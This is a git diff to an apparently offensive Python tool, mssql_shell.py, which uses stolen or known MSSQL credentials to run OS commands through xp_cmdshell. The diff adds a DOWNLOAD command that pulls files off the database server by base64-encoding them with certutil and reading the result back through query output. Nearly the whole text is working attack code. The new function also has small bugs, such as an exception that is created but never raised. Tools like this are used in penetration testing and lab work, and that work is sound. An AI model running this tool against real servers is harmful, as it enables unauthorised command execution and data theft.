diff --git a/mssql/mssql_shell.py b/mssql/mssql_shell.py
index d3338ac..8c85d85 100644
--- a/mssql/mssql_shell.py
+++ b/mssql/mssql_shell.py
@@ -2,24 +2,40 @@
 from __future__ import print_function
 
 # Author: Alamot
+# Download functionality: Qazeer
 # Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
-# To upload a file type: UPLOAD local_path remote_path
+# To upload a file, type: UPLOAD local_path remote_path
 # e.g. UPLOAD myfile.txt C:\temp\myfile.txt
 # If you omit the remote_path it uploads the file on the current working folder.
+# To dowload a file from the remote host, type: DOWNLOAD remote_path [local_path]
+# e.g. DOWNLOAD myfile.txt
+# Or DOWNLOAD remotefile.txt /tmp/file.txt
+# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
 import _mssql
 import base64
+import ntpath
+import os
+import random
 import shlex
+import string
 import sys
 import tqdm
 import hashlib
+from io import open
+try: input = raw_input
+except NameError: pass
 
-MSSQL_SERVER="10.13.38.11"
-MSSQL_USERNAME = "Domain\\sa_user"
-MSSQL_PASSWORD = "**********"
+MSSQL_SERVER = '<IP>'
+MSSQL_USERNAME = '<USERNAME>'
+MSSQL_PASSWORD = '<PASSWORD>'
 BUFFER_SIZE = 5*1024
 TIMEOUT = 30
 
 
+def id_generator(size=12, chars=string.ascii_uppercase + string.digits):
+    return ''.join(random.choice(chars) for _ in range(size))
+
+
 def process_result(mssql):
     username = ""
     computername = ""
@@ -43,7 +59,7 @@ def upload(mssql, stored_cwd, local_path, remote_path):
         data = f.read()
         md5sum = hashlib.md5(data).hexdigest()
         b64enc_data = "".join(base64.encodestring(data).split())
-        
+
     print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
     for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
         cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
@@ -60,6 +76,57 @@ def upload(mssql, stored_cwd, local_path, remote_path):
     else:
         print("ERROR! MD5 hashes do NOT match!")
 
+
+def dowload(mssql, stored_cwd, remote_path, local_path=""):
+    try:
+        remote_path = remote_path.replace('"', '').replace('\'', '')
+        if local_path == "":
+            local_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ntpath.basename(remote_path))
+
+        print("Downloading " + remote_path + " to " + local_path)
+
+        tmp_filename = '%TEMP%\\' + id_generator() + ".b64"
+        cmd = 'del "' + tmp_filename + '"'
+        mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")
+
+        cmd = 'certutil -encode "' + remote_path + '" "' + tmp_filename + '"'
+        mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")
+
+        cmd = 'type "' + tmp_filename + '"'
+        mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")
+
+        certutil_result = list(mssql)
+
+        if "CERTIFICATE-----" not in str(certutil_result[0][0]):
+            raise Exception("ERROR! Encoding with Certutil failed!")
+
+        file_b64 = ""
+        for row in certutil_result[1:-4]:
+            columns = list(row)
+            file_b64 += row[columns[-1]]
+
+        with open(local_path, 'wb') as f:
+            data = base64.b64decode(file_b64, None)
+            md5sum = hashlib.md5(data).hexdigest()
+            f.write(data)
+
+        tmp_filename = '%TEMP%\\' + tmp_filename + ".b64"
+        cmd = 'del "' + tmp_filename + '"'
+        mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")
+
+        cmd = 'certutil -hashfile "' + remote_path + '" MD5'
+        mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
+        if md5sum in [row[row.keys()[-1]].strip() for row in mssql if row[row.keys()[-1]]]:
+            print("MD5 hashes match: " + md5sum)
+        else:
+            Exception("ERROR! MD5 hashes do NOT match!")
+
+        return "echo *** DOWNLOAD PROCEDURE FINISHED ***"
+
+    except Exception as e:
+        return "echo *** ERROR WHILE DOWNLOADING THE FILE: " + e + " ***"
+
+
 def shell():
     mssql = None
     stored_cwd = None
@@ -74,7 +141,7 @@ def shell():
         mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
         (username, computername, cwd) = process_result(mssql)
         stored_cwd = cwd
-        
+
         while True:
             cmd = raw_input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
             if cmd.lower()[0:4] == "exit":
@@ -87,10 +154,16 @@ def shell():
                 else:
                     upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                 cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
+            elif cmd[0:8] == "DOWNLOAD":
+                dowload_cmd = shlex.split(cmd, posix=False)
+                if len(dowload_cmd) < 3:
+                    cmd = dowload(mssql, stored_cwd, dowload_cmd[1])
+                else:
+                    cmd = dowload(mssql, stored_cwd, dowload_cmd[1], dowload_cmd[2])
             mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
             (username, computername, cwd) = process_result(mssql)
             stored_cwd = cwd
-            
+
     except _mssql.MssqlDatabaseException as e:
         if  e.severity <= 16:
             print("MSSQL failed: "+str(e))